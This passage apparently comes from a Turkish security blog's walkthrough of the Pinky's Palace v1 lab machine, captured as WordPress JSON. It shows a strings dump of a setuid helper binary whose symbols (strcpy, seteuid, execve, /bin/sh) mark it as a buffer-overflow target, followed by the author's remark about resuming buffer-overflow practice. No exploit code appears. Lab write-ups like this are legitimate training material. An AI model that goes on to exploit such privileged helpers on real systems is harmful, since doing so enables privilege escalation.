\n\/lib64\/ld-linux-x86-64.so.2\nlibc.so.6\nstrcpy\nputs\nsetegid\nseteuid\nexecve\n__cxa_finalize\n__libc_start_main\n_ITM_deregisterTMCloneTable\n__gmon_start__\n_Jv_RegisterClasses\n_ITM_registerTMCloneTable\nGLIBC_2.2.5\n%b   \n=y   \n=9   \n52   \nAWAVA\nAUATL\n[]A\\A]A^A_\n\/bin\/sh\n;*3$"\nGCC: (Debian 6.3.0-18) 6.3.0 20170516\ncrtstuff.c\n__JCR_LIST__\nderegister_tm_clones\n__do_global_dtors_aux\ncompleted.6963\n__do_global_dtors_aux_fini_array_entry\nframe_dummy\n__frame_dummy_init_array_entry\nadminhelper.c\n__FRAME_END__\n__JCR_END__\n__init_array_end\n_DYNAMIC\n__init_array_start\n__GNU_EH_FRAME_HDR\n_GLOBAL_OFFSET_TABLE_\n__libc_csu_fini\n_ITM_deregisterTMCloneTable\nstrcpy@@GLIBC_2.2.5\nputs@@GLIBC_2.2.5\n_edata\n__libc_start_main@@GLIBC_2.2.5\nexecve@@GLIBC_2.2.5\n__data_start\n__gmon_start__\n__dso_handle\n_IO_stdin_used\n__libc_csu_init\n__bss_start\nmain\nspawn\n_Jv_RegisterClasses\n__TMC_END__\n_ITM_registerTMCloneTable\n__cxa_finalize@@GLIBC_2.2.5\nsetegid@@GLIBC_2.2.5\nseteuid@@GLIBC_2.2.5\n.symtab\n.strtab\n.shstrtab\n.interp\n.note.ABI-tag\n.note.gnu.build-id\n.gnu.hash\n.dynsym\n.dynstr\n.gnu.version\n.gnu.version_r\n.rela.dyn\n.rela.plt\n.init\n.plt.got\n.text\n.fini\n.rodata\n.eh_frame_hdr\n.eh_frame\n.init_array\n.fini_array\n.jcr\n.dynamic\n.got.plt\n.data\n.bss\n.comment<\/code><\/pre>\n
Buffer overflow \u00fczerinden \u00e7ok zaman ge\u00e7ti. Tekrardan \u00e7al\u0131\u015f\u0131p kald\u0131\u011f\u0131m yerden devam edece\u011fim.<\/p>\n","protected":false},"excerpt":{"rendered":"
Makine Hakk\u0131nda Bilgiler A\u00e7\u0131klama: Box Info: Tested on VirtualBox using DHCP Host-only & Bridged Adapter types. File Type: OVA BACKGROUND: Pinky is creating his very…<\/p>\n
Devam\u0131n\u0131 okuPINKY’S PALACE: V1<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[553],"class_list":["post-1288","post","type-post","status-publish","format-standard","hentry","category-walkthrough","tag-buffer-overflow","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1288","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1288"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1288\/revisions"}],"predecessor-version":[{"id":1289,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1288\/revisions\/1289"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1288"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1288"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1288"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}